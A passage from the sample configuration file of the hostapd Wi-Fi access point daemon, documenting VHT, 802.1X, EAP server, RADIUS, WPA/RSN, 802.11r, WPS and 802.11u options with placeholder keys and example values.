Beamformee Capable: [MU-BEAMFORMEE] # Indicates support for operation as an MU beamformee # 0 = Not supported or sent by AP (default) # 1 = Supported # # VHT TXOP PS: [VHT-TXOP-PS] # Indicates whether or not the AP supports VHT TXOP Power Save Mode # or whether or not the STA is in VHT TXOP Power Save mode # 0 = VHT AP doesnt support VHT TXOP PS mode (OR) VHT Sta not in VHT TXOP PS # mode # 1 = VHT AP supports VHT TXOP PS mode (OR) VHT Sta is in VHT TXOP power save # mode # # +HTC-VHT Capable: [HTC-VHT] # Indicates whether or not the STA supports receiving a VHT variant HT Control # field. # 0 = Not supported (default) # 1 = supported # # Maximum A-MPDU Length Exponent: [MAX-A-MPDU-LEN-EXP0]..[MAX-A-MPDU-LEN-EXP7] # Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv # This field is an integer in the range of 0 to 7. # The length defined by this field is equal to # 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets # # VHT Link Adaptation Capable: [VHT-LINK-ADAPT2] [VHT-LINK-ADAPT3] # Indicates whether or not the STA supports link adaptation using VHT variant # HT Control field # If +HTC-VHTcapable is 1 # 0 = (no feedback) if the STA does not provide VHT MFB (default) # 1 = reserved # 2 = (Unsolicited) if the STA provides only unsolicited VHT MFB # 3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the # STA provides unsolicited VHT MFB # Reserved if +HTC-VHTcapable is 0 # # Rx Antenna Pattern Consistency: [RX-ANTENNA-PATTERN] # Indicates the possibility of Rx antenna pattern change # 0 = Rx antenna pattern might change during the lifetime of an association # 1 = Rx antenna pattern does not change during the lifetime of an association # # Tx Antenna Pattern Consistency: [TX-ANTENNA-PATTERN] # Indicates the possibility of Tx antenna pattern change # 0 = Tx antenna pattern might change during the lifetime of an association # 1 = Tx antenna pattern does not change during the lifetime of an association #vht_capab=[SHORT-GI-80][HTC-VHT] # # Require stations to support VHT PHY (reject association if they do not) #require_vht=1 # 0 = 20 or 40 MHz operating Channel width # 1 = 80 MHz channel width # 2 = 160 MHz channel width # 3 = 80+80 MHz channel width #vht_oper_chwidth=1 # # center freq = 5 GHz + (5 * index) # So index 42 gives center freq 5.210 GHz # which is channel 42 in 5G band # #vht_oper_centr_freq_seg0_idx=42 # # center freq = 5 GHz + (5 * index) # So index 159 gives center freq 5.795 GHz # which is channel 159 in 5G band # #vht_oper_centr_freq_seg1_idx=159 ##### IEEE 802.1X-2004 related configuration ################################## # Require IEEE 802.1X authorization #ieee8021x=1 # IEEE 802.1X/EAPOL version # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL # version 2. However, there are many client implementations that do not handle # the new version number correctly (they seem to drop the frames completely). # In order to make hostapd interoperate with these clients, the version number # can be set to the older version (1) with this configuration value. #eapol_version=2 # Optional displayable message sent with EAP Request-Identity. The first \0 # in this string will be converted to ASCII-0 (nul). This can be used to # separate network info (comma separated list of attribute=value pairs); see, # e.g., RFC 4284. #eap_message=hello #eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com # WEP rekeying (disabled if key lengths are not set or are set to 0) # Key lengths for default/broadcast and individual/unicast keys: # 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits) # 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits) #wep_key_len_broadcast=5 #wep_key_len_unicast=5 # Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once) #wep_rekey_period=300 # EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if # only broadcast keys are used) eapol_key_index_workaround=0 # EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable # reauthentication). #eap_reauth_period=3600 # Use PAE group address (01:80:c2:00:00:03) instead of individual target # address when sending EAPOL frames with driver=wired. This is the most common # mechanism used in wired authentication, but it also requires that the port # is only used by one station. #use_pae_group_addr=1 ##### Integrated EAP server ################################################### # Optionally, hostapd can be configured to use an integrated EAP server # to process EAP authentication locally without need for an external RADIUS # server. This functionality can be used both as a local authentication server # for IEEE 802.1X/EAPOL and as a RADIUS server for other devices. # Use integrated EAP server instead of external RADIUS authentication # server. This is also needed if hostapd is configured to act as a RADIUS # authentication server. #eap_server=0 # Path for EAP server user database # If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db" # to use SQLite database instead of a text file. #eap_user_file=/etc/hostapd.eap_user # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS #ca_cert=/etc/hostapd.ca.pem # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS #server_cert=/etc/hostapd.server.pem # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS # This may point to the same file as server_cert if both certificate and key # are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be # used by commenting out server_cert and specifying the PFX file as the # private_key. #private_key=/etc/hostapd.server.prv # Passphrase for private key #private_key_passwd=secret passphrase # Server identity # EAP methods that provide mechanism for authenticated server identity delivery # use this value. If not set, "hostapd" is used as a default. #server_id=server.example.com # Enable CRL verification. # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a # valid CRL signed by the CA is required to be included in the ca_cert file. # This can be done by using PEM format for CA certificate and CRL and # concatenating these into one file. Whenever CRL changes, hostapd needs to be # restarted to take the new CRL into use. # 0 = do not verify CRLs (default) # 1 = check the CRL of the user certificate # 2 = check all CRLs in the certificate path #check_crl=1 # Cached OCSP stapling response (DER encoded) # If set, this file is sent as a certificate status response by the EAP server # if the EAP peer requests certificate status in the ClientHello message. # This cache file can be updated, e.g., by running following command # periodically to get an update from the OCSP responder: # openssl ocsp \ # -no_nonce \ # -CAfile /etc/hostapd.ca.pem \ # -issuer /etc/hostapd.ca.pem \ # -cert /etc/hostapd.server.pem \ # -url http://ocsp.example.com:8888/ \ # -respout /tmp/ocsp-cache.der #ocsp_stapling_response=/tmp/ocsp-cache.der # dh_file: File path to DH/DSA parameters file (in PEM format) # This is an optional configuration file for setting parameters for an # ephemeral DH key exchange. In most cases, the default RSA authentication does # not use this configuration. However, it is possible setup RSA to use # ephemeral DH key exchange. In addition, ciphers with DSA keys always use # ephemeral DH keys. This can be used to achieve forward secrecy. If the file # is in DSA parameters format, it will be automatically converted into DH # params. This parameter is required if anonymous EAP-FAST is used. # You can generate DH parameters file with OpenSSL, e.g., # "openssl dhparam -out /etc/hostapd.dh.pem 1024" #dh_file=/etc/hostapd.dh.pem # Fragment size for EAP methods #fragment_size=1400 # Finite cyclic group for EAP-pwd. Number maps to group of domain parameters # using the IANA repository for IKE (RFC 2409). #pwd_group=19 # Configuration data for EAP-SIM database/authentication gateway interface. # This is a text string in implementation specific format. The example # implementation in eap_sim_db.c uses this as the UNIX domain socket name for # the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:" # prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config), # database file can be described with an optional db= parameter. #eap_sim_db=unix:/tmp/hlr_auc_gw.sock #eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db # Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret, # random value. It is configured as a 16-octet value in hex format. It can be # generated, e.g., with the following command: # od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' ' #pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f # EAP-FAST authority identity (A-ID) # A-ID indicates the identity of the authority that issues PACs. The A-ID # should be unique across all issuing servers. In theory, this is a variable # length field, but due to some existing implementations requiring A-ID to be # 16 octets in length, it is strongly recommended to use that length for the # field to provid interoperability with deployed peer implementations. This # field is configured in hex format. #eap_fast_a_id=101112131415161718191a1b1c1d1e1f # EAP-FAST authority identifier information (A-ID-Info) # This is a user-friendly name for the A-ID. For example, the enterprise name # and server name in a human-readable format. This field is encoded as UTF-8. #eap_fast_a_id_info=test server # Enable/disable different EAP-FAST provisioning modes: #0 = provisioning disabled #1 = only anonymous provisioning allowed #2 = only authenticated provisioning allowed #3 = both provisioning modes allowed (default) #eap_fast_prov=3 # EAP-FAST PAC-Key lifetime in seconds (hard limit) #pac_key_lifetime=604800 # EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard # limit). The server will generate a new PAC-Key when this number of seconds # (or fewer) of the lifetime remains. #pac_key_refresh_time=86400 # EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND # (default: 0 = disabled). #eap_sim_aka_result_ind=1 # Trusted Network Connect (TNC) # If enabled, TNC validation will be required before the peer is allowed to # connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other # EAP method is enabled, the peer will be allowed to connect without TNC. #tnc=1 ##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) ####################### # Interface to be used for IAPP broadcast packets #iapp_interface=eth0 ##### RADIUS client configuration ############################################# # for IEEE 802.1X with external Authentication Server, IEEE 802.11 # authentication with external ACL for MAC addresses, and accounting # The own IP address of the access point (used as NAS-IP-Address) own_ip_addr=127.0.0.1 # Optional NAS-Identifier string for RADIUS messages. When used, this should be # a unique to the NAS within the scope of the RADIUS server. For example, a # fully qualified domain name can be used here. # When using IEEE 802.11r, nas_identifier must be set and must be between 1 and # 48 octets long. #nas_identifier=ap.example.com # RADIUS authentication server #auth_server_addr=127.0.0.1 #auth_server_port=1812 #auth_server_shared_secret=secret # RADIUS accounting server #acct_server_addr=127.0.0.1 #acct_server_port=1813 #acct_server_shared_secret=secret # Secondary RADIUS servers; to be used if primary one does not reply to # RADIUS packets. These are optional and there can be more than one secondary # server listed. #auth_server_addr=127.0.0.2 #auth_server_port=1812 #auth_server_shared_secret=secret2 # #acct_server_addr=127.0.0.2 #acct_server_port=1813 #acct_server_shared_secret=secret2 # Retry interval for trying to return to the primary RADIUS server (in # seconds). RADIUS client code will automatically try to use the next server # when the current server is not replying to requests. If this interval is set, # primary server will be retried after configured amount of time even if the # currently used secondary server is still working. #radius_retry_primary_interval=600 # Interim accounting update interval # If this is set (larger than 0) and acct_server is configured, hostapd will # send interim accounting updates every N seconds. Note: if set, this overrides # possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this # value should not be configured in hostapd.conf, if RADIUS server is used to # control the interim interval. # This value should not be less 600 (10 minutes) and must not be less than # 60 (1 minute). #radius_acct_interim_interval=600 # Request Chargeable-User-Identity (RFC 4372) # This parameter can be used to configure hostapd to request CUI from the # RADIUS server by including Chargeable-User-Identity attribute into # Access-Request packets. #radius_request_cui=1 # Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN # is used for the stations. This information is parsed from following RADIUS # attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN), # Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value # VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can # be used to set static client MAC address to VLAN ID mapping. # 0 = disabled (default) # 1 = option; use default interface if RADIUS server does not include VLAN ID # 2 = required; reject authentication if RADIUS server does not include VLAN ID #dynamic_vlan=0 # VLAN interface list for dynamic VLAN mode is read from a separate text file. # This list is used to map VLAN ID from the RADIUS server to a network # interface. Each station is bound to one interface in the same way as with # multiple BSSIDs or SSIDs. Each line in this text file is defining a new # interface and the line must include VLAN ID and interface name separated by # white space (space or tab). # If no entries are provided by this file, the station is statically mapped # to . interfaces. #vlan_file=/etc/hostapd.vlan # Interface where 802.1q tagged packets should appear when a RADIUS server is # used to determine which VLAN a station is on. hostapd creates a bridge for # each VLAN. Then hostapd adds a VLAN interface (associated with the interface # indicated by 'vlan_tagged_interface') and the appropriate wireless interface # to the bridge. #vlan_tagged_interface=eth0 # Bridge (prefix) to add the wifi and the tagged interface to. This gets the # VLAN ID appended. It defaults to brvlan_percent_d if no tagged interface is given # and brs.d if a tagged interface is given, provided = tagged interface # and d = VLAN ID. #vlan_bridge=brvlan # When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs # to know how to name it. # 0 = vlan, e.g., vlan1 # 1 = ., e.g. eth0.1 #vlan_naming=0 # Arbitrary RADIUS attributes can be added into Access-Request and # Accounting-Request packets by specifying the contents of the attributes with # the following configuration parameters. There can be multiple of these to # add multiple attributes. These parameters can also be used to override some # of the attributes added automatically by hostapd. # Format: [:] # attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific) # syntax: s = string (UTF-8), d = integer, x = octet string # value: attribute value in format indicated by the syntax # If syntax and value parts are omitted, a null value (single 0x00 octet) is # used. # # Additional Access-Request attributes # radius_auth_req_attr=[:] # Examples: # Operator-Name = "Operator" #radius_auth_req_attr=126:s:Operator # Service-Type = Framed (2) #radius_auth_req_attr=6:d:2 # Connect-Info = "testing" (this overrides the automatically generated value) #radius_auth_req_attr=77:s:testing # Same Connect-Info value set as a hexdump #radius_auth_req_attr=77:x:74657374696e67 # # Additional Accounting-Request attributes # radius_acct_req_attr=[:] # Examples: # Operator-Name = "Operator" #radius_acct_req_attr=126:s:Operator # Dynamic Authorization Extensions (RFC 5176) # This mechanism can be used to allow dynamic changes to user session based on # commands from a RADIUS server (or some other disconnect client that has the # needed session information). For example, Disconnect message can be used to # request an associated station to be disconnected. # # This is disabled by default. Set radius_das_port to non-zero UDP port # number to enable. #radius_das_port=3799 # # DAS client (the host that can send Disconnect/CoA requests) and shared secret #radius_das_client=192.168.1.123 shared secret here # # DAS Event-Timestamp time window in seconds #radius_das_time_window=300 # # DAS require Event-Timestamp #radius_das_require_event_timestamp=1 ##### RADIUS authentication server configuration ############################## # hostapd can be used as a RADIUS authentication server for other hosts. This # requires that the integrated EAP server is also enabled and both # authentication services are sharing the same configuration. # File name of the RADIUS clients configuration for the RADIUS server. If this # commented out, RADIUS server is disabled. #radius_server_clients=/etc/hostapd.radius_clients # The UDP port number for the RADIUS authentication server #radius_server_auth_port=1812 # The UDP port number for the RADIUS accounting server # Commenting this out or setting this to 0 can be used to disable RADIUS # accounting while still enabling RADIUS authentication. #radius_server_acct_port=1813 # Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API) #radius_server_ipv6=1 ##### WPA/IEEE 802.11i configuration ########################################## # Enable WPA. Setting this variable configures the AP to require WPA (either # WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either # wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK. # Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice. # For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys), # RADIUS authentication server must be configured, and WPA-EAP must be included # in wpa_key_mgmt. # This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0) # and/or WPA2 (full IEEE 802.11i/RSN): # bit0 = WPA # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) #wpa=2 # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase # (8..63 characters) that will be converted to PSK. This conversion uses SSID # so the PSK changes when ASCII passphrase is used and the SSID is changed. # wpa_psk (dot11RSNAConfigPSKValue) # wpa_passphrase (dot11RSNAConfigPSKPassPhrase) #wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef #wpa_passphrase=secret passphrase # Optionally, WPA PSKs can be read from a separate text file (containing list # of (PSK,MAC address) pairs. This allows more than one PSK to be configured. # Use absolute path name to make sure that the files can be read on SIGHUP # configuration reloads. #wpa_psk_file=/etc/hostapd.wpa_psk # Optionally, WPA passphrase can be received from RADIUS authentication server # This requires macaddr_acl to be set to 2 (RADIUS) # 0 = disabled (default) # 1 = optional; use default passphrase/psk if RADIUS server does not include # Tunnel-Password # 2 = required; reject authentication if RADIUS server does not include # Tunnel-Password #wpa_psk_radius=0 # Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The # entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be # added to enable SHA256-based stronger algorithms. # (dot11RSNAConfigAuthenticationSuitesTable) #wpa_key_mgmt=WPA-PSK WPA-EAP # Set of accepted cipher suites (encryption algorithms) for pairwise keys # (unicast packets). This is a space separated list of algorithms: # CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0] # TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0] # Group cipher suite (encryption algorithm for broadcast and multicast frames) # is automatically selected based on this configuration. If only CCMP is # allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise, # TKIP will be used as the group cipher. # (dot11RSNAConfigPairwiseCiphersTable) # Pairwise cipher for WPA (v1) (default: TKIP) #wpa_pairwise=TKIP CCMP # Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value) #rsn_pairwise=CCMP # Time interval for rekeying GTK (broadcast/multicast encryption keys) in # seconds. (dot11RSNAConfigGroupRekeyTime) #wpa_group_rekey=600 # Rekey GTK when any STA that possesses the current GTK is leaving the BSS. # (dot11RSNAConfigGroupRekeyStrict) #wpa_strict_rekey=1 # Time interval for rekeying GMK (master key used internally to generate GTKs # (in seconds). #wpa_gmk_rekey=86400 # Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of # PTK to mitigate some attacks against TKIP deficiencies. #wpa_ptk_rekey=600 # Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up # roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN # authentication and key handshake before actually associating with a new AP. # (dot11RSNAPreauthenticationEnabled) #rsn_preauth=1 # # Space separated list of interfaces from which pre-authentication frames are # accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all # interface that are used for connections to other APs. This could include # wired interfaces and WDS links. The normal wireless data interface towards # associated stations (e.g., wlan0) should not be added, since # pre-authentication is only used with APs other than the currently associated # one. #rsn_preauth_interfaces=eth0 # peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is # allowed. This is only used with RSN/WPA2. # 0 = disabled (default) # 1 = enabled #peerkey=1 # ieee80211w: Whether management frame protection (MFP) is enabled # 0 = disabled (default) # 1 = optional # 2 = required #ieee80211w=0 # Group management cipher suite # Default: AES-128-CMAC (BIP) # Other options (depending on driver support): # BIP-GMAC-128 # BIP-GMAC-256 # BIP-CMAC-256 # Note: All the stations connecting to the BSS will also need to support the # selected cipher. The default AES-128-CMAC is the only option that is commonly # available in deployed devices. #group_mgmt_cipher=AES-128-CMAC # Association SA Query maximum timeout (in TU = 1.024 ms; for MFP) # (maximum time to wait for a SA Query response) # dot11AssociationSAQueryMaximumTimeout, 1...4294967295 #assoc_sa_query_max_timeout=1000 # Association SA Query retry timeout (in TU = 1.024 ms; for MFP) # (time between two subsequent SA Query requests) # dot11AssociationSAQueryRetryTimeout, 1...4294967295 #assoc_sa_query_retry_timeout=201 # disable_pmksa_caching: Disable PMKSA caching # This parameter can be used to disable caching of PMKSA created through EAP # authentication. RSN preauthentication may still end up using PMKSA caching if # it is enabled (rsn_preauth=1). # 0 = PMKSA caching enabled (default) # 1 = PMKSA caching disabled #disable_pmksa_caching=0 # okc: Opportunistic Key Caching (aka Proactive Key Caching) # Allow PMK cache to be shared opportunistically among configured interfaces # and BSSes (i.e., all configurations within a single hostapd process). # 0 = disabled (default) # 1 = enabled #okc=1 # SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold) # This parameter defines how many open SAE instances can be in progress at the # same time before the anti-clogging mechanism is taken into use. #sae_anti_clogging_threshold=5 # Enabled SAE finite cyclic groups # SAE implementation are required to support group 19 (ECC group defined over a # 256-bit prime order field). All groups that are supported by the # implementation are enabled by default. This configuration parameter can be # used to specify a limited set of allowed groups. The group values are listed # in the IANA registry: # http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9 #sae_groups=19 20 21 25 26 ##### IEEE 802.11r configuration ############################################## # Mobility Domain identifier (dot11FTMobilityDomainID, MDID) # MDID is used to indicate a group of APs (within an ESS, i.e., sharing the # same SSID) between which a STA can use Fast BSS Transition. # 2-octet identifier as a hex string. #mobility_domain=a1b2 # PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID) # 1 to 48 octet identifier. # This is configured with nas_identifier (see RADIUS client section above). # Default lifetime of the PMK-RO in minutes; range 1..65535 # (dot11FTR0KeyLifetime) #r0_key_lifetime=10000 # PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID) # 6-octet identifier as a hex string. #r1_key_holder=000102030405 # Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535) # (dot11FTReassociationDeadline) #reassociation_deadline=1000 # List of R0KHs in the same Mobility Domain # format: <128-bit key as hex string> # This list is used to map R0KH-ID (NAS Identifier) to a destination MAC # address when requesting PMK-R1 key from the R0KH that the STA used during the # Initial Mobility Domain Association. #r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f #r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff # And so on.. One line per R0KH. # List of R1KHs in the same Mobility Domain # format: <128-bit key as hex string> # This list is used to map R1KH-ID to a destination MAC address when sending # PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD # that can request PMK-R1 keys. #r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f #r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff # And so on.. One line per R1KH. # Whether PMK-R1 push is enabled at R0KH # 0 = do not push PMK-R1 to all configured R1KHs (default) # 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived #pmk_r1_push=1 ##### Neighbor table ########################################################## # Maximum number of entries kept in AP table (either for neigbor table or for # detecting Overlapping Legacy BSS Condition). The oldest entry will be # removed when adding a new entry that would make the list grow over this # limit. Note! WFA certification for IEEE 802.11g requires that OLBC is # enabled, so this field should not be set to 0 when using IEEE 802.11g. # default: 255 #ap_table_max_size=255 # Number of seconds of no frames received after which entries may be deleted # from the AP table. Since passive scanning is not usually performed frequently # this should not be set to very small value. In addition, there is no # guarantee that every scan cycle will receive beacon frames from the # neighboring APs. # default: 60 #ap_table_expiration_time=3600 ##### Wi-Fi Protected Setup (WPS) ############################################# # WPS state # 0 = WPS disabled (default) # 1 = WPS enabled, not configured # 2 = WPS enabled, configured #wps_state=2 # Whether to manage this interface independently from other WPS interfaces # By default, a single hostapd process applies WPS operations to all configured # interfaces. This parameter can be used to disable that behavior for a subset # of interfaces. If this is set to non-zero for an interface, WPS commands # issued on that interface do not apply to other interfaces and WPS operations # performed on other interfaces do not affect this interface. #wps_independent=0 # AP can be configured into a locked state where new WPS Registrar are not # accepted, but previously authorized Registrars (including the internal one) # can continue to add new Enrollees. #ap_setup_locked=1 # Universally Unique IDentifier (UUID; see RFC 4122) of the device # This value is used as the UUID for the internal WPS Registrar. If the AP # is also using UPnP, this value should be set to the device's UPnP UUID. # If not configured, UUID will be generated based on the local MAC address. #uuid=12345678-9abc-def0-1234-56789abcdef0 # Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs # that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the # default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of # per-device PSKs is recommended as the more secure option (i.e., make sure to # set wpa_psk_file when using WPS with WPA-PSK). # When an Enrollee requests access to the network with PIN method, the Enrollee # PIN will need to be entered for the Registrar. PIN request notifications are # sent to hostapd ctrl_iface monitor. In addition, they can be written to a # text file that could be used, e.g., to populate the AP administration UI with # pending PIN requests. If the following variable is set, the PIN requests will # be written to the configured file. #wps_pin_requests=/var/run/hostapd_wps_pin_requests # Device Name # User-friendly description of device; up to 32 octets encoded in UTF-8 #device_name=Wireless AP # Manufacturer # The manufacturer of the device (up to 64 ASCII characters) #manufacturer=Company # Model Name # Model of the device (up to 32 ASCII characters) #model_name=WAP # Model Number # Additional device description (up to 32 ASCII characters) #model_number=123 # Serial Number # Serial number of the device (up to 32 characters) #serial_number=12345 # Primary Device Type # Used format: -- # categ = Category as an integer value # OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for # default WPS OUI # subcateg = OUI-specific Sub Category as an integer value # Examples: # 1-0050F204-1 (Computer / PC) # 1-0050F204-2 (Computer / Server) # 5-0050F204-1 (Storage / NAS) # 6-0050F204-1 (Network Infrastructure / AP) #device_type=6-0050F204-1 # OS Version # 4-octet operating system version number (hex string) #os_version=01020300 # Config Methods # List of the supported configuration methods # Available methods: usba ethernet label display ext_nfc_token int_nfc_token # nfc_interface push_button keypad virtual_display physical_display # virtual_push_button physical_push_button #config_methods=label virtual_display virtual_push_button keypad # WPS capability discovery workaround for PBC with Windows 7 # Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting # as a Registrar and using M1 from the AP. The config methods attribute in that # message is supposed to indicate only the configuration method supported by # the AP in Enrollee role, i.e., to add an external Registrar. For that case, # PBC shall not be used and as such, the PushButton config method is removed # from M1 by default. If pbc_in_m1=1 is included in the configuration file, # the PushButton config method is left in M1 (if included in config_methods # parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label # in the AP). #pbc_in_m1=1 # Static access point PIN for initial configuration and adding Registrars # If not set, hostapd will not allow external WPS Registrars to control the # access point. The AP PIN can also be set at runtime with hostapd_cli # wps_ap_pin command. Use of temporary (enabled by user action) and random # AP PIN is much more secure than configuring a static AP PIN here. As such, # use of the ap_pin parameter is not recommended if the AP device has means for # displaying a random PIN. #ap_pin=12345670 # Skip building of automatic WPS credential # This can be used to allow the automatically generated Credential attribute to # be replaced with pre-configured Credential(s). #skip_cred_build=1 # Additional Credential attribute(s) # This option can be used to add pre-configured Credential attributes into M8 # message when acting as a Registrar. If skip_cred_build=1, this data will also # be able to override the Credential attribute that would have otherwise been # automatically generated based on network configuration. This configuration # option points to an external file that much contain the WPS Credential # attribute(s) as binary data. #extra_cred=hostapd.cred # Credential processing # 0 = process received credentials internally (default) # 1 = do not process received credentials; just pass them over ctrl_iface to # external program(s) # 2 = process received credentials internally and pass them over ctrl_iface # to external program(s) # Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and # extra_cred be used to provide the Credential data for Enrollees. # # wps_cred_processing=1 will disabled automatic updates of hostapd.conf file # both for Credential processing and for marking AP Setup Locked based on # validation failures of AP PIN. An external program is responsible on updating # the configuration appropriately in this case. #wps_cred_processing=0 # AP Settings Attributes for M7 # By default, hostapd generates the AP Settings Attributes for M7 based on the # current configuration. It is possible to override this by providing a file # with pre-configured attributes. This is similar to extra_cred file format, # but the AP Settings attributes are not encapsulated in a Credential # attribute. #ap_settings=hostapd.ap_settings # WPS UPnP interface # If set, support for external Registrars is enabled. #upnp_iface=br0 # Friendly Name (required for UPnP) # Short description for end use. Should be less than 64 characters. #friendly_name=WPS Access Point # Manufacturer URL (optional for UPnP) #manufacturer_url=http://www.example.com/ # Model Description (recommended for UPnP) # Long description for end user. Should be less than 128 characters. #model_description=Wireless Access Point # Model URL (optional for UPnP) #model_url=http://www.example.com/model/ # Universal Product Code (optional for UPnP) # 12-digit, all-numeric code that identifies the consumer package. #upc=123456789012 # WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band) # This value should be set according to RF band(s) supported by the AP if # hw_mode is not set. For dual band dual concurrent devices, this needs to be # set to ag to allow both RF bands to be advertized. #wps_rf_bands=ag # NFC password token for WPS # These parameters can be used to configure a fixed NFC password token for the # AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When # these parameters are used, the AP is assumed to be deployed with a NFC tag # that includes the matching NFC password token (e.g., written based on the # NDEF record from nfc_pw_token). # #wps_nfc_dev_pw_id: Device Password ID (16..65535) #wps_nfc_dh_pubkey: Hexdump of DH Public Key #wps_nfc_dh_privkey: Hexdump of DH Private Key #wps_nfc_dev_pw: Hexdump of Device Password ##### Wi-Fi Direct (P2P) ###################################################### # Enable P2P Device management #manage_p2p=1 # Allow cross connection #allow_cross_connection=1 #### TDLS (IEEE 802.11z-2010) ################################################# # Prohibit use of TDLS in this BSS #tdls_prohibit=1 # Prohibit use of TDLS Channel Switching in this BSS #tdls_prohibit_chan_switch=1 ##### IEEE 802.11v-2011 ####################################################### # Time advertisement # 0 = disabled (default) # 2 = UTC time at which the TSF timer is 0 #time_advertisement=2 # Local time zone as specified in 8.3 of IEEE Std 1003.1-2004: # stdoffset[dst[offset][,start[/time],end[/time]]] #time_zone=EST5 # WNM-Sleep Mode (extended sleep mode for stations) # 0 = disabled (default) # 1 = enabled (allow stations to use WNM-Sleep Mode) #wnm_sleep_mode=1 # BSS Transition Management # 0 = disabled (default) # 1 = enabled #bss_transition=1 ##### IEEE 802.11u-2011 ####################################################### # Enable Interworking service #interworking=1 # Access Network Type # 0 = Private network # 1 = Private network with guest access # 2 = Chargeable public network # 3 = Free public network # 4 = Personal device network # 5 = Emergency services only network # 14 = Test or experimental # 15 = Wildcard #access_network_type=0 # Whether the network provides connectivity to the Internet # 0 = Unspecified # 1 = Network provides connectivity to the Internet #internet=1 # Additional Step Required for Access # Note: This is only used with open network, i.e., ASRA shall ne set to 0 if # RSN is used. #asra=0 # Emergency services reachable #esr=0 # Unauthenticated emergency service accessible #uesa=0 # Venue Info (optional) # The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34. # Example values (group,type): # 0,0 = Unspecified # 1,7 = Convention Center # 1,13 = Coffee Shop # 2,0 = Unspecified Business # 7,1 Private Residence #venue_group=7 #venue_type=1 # Homogeneous ESS identifier (optional; dot11HESSID) # If set, this shall be identifical to one of the BSSIDs in the homogeneous # ESS and this shall be set to the same value across all BSSs in homogeneous # ESS. #hessid=02:03:04:05:06:07 # Roaming Consortium List # Arbitrary number of Roaming Consortium OIs can be configured with each line # adding a new OI to the list. The first three entries are available through # Beacon and Probe Response frames. Any additional entry will be available only # through ANQP queries. Each OI is between 3 and 15 octets and is configured as # a hexstring. #roaming_consortium=021122 #roaming_consortium=2233445566 # Venue Name information # This parameter can be used to configure one or more Venue Name Duples for # Venue Name ANQP information. Each entry has a two or three character language # code (ISO-639) separated by colon from the venue name string. # Note that 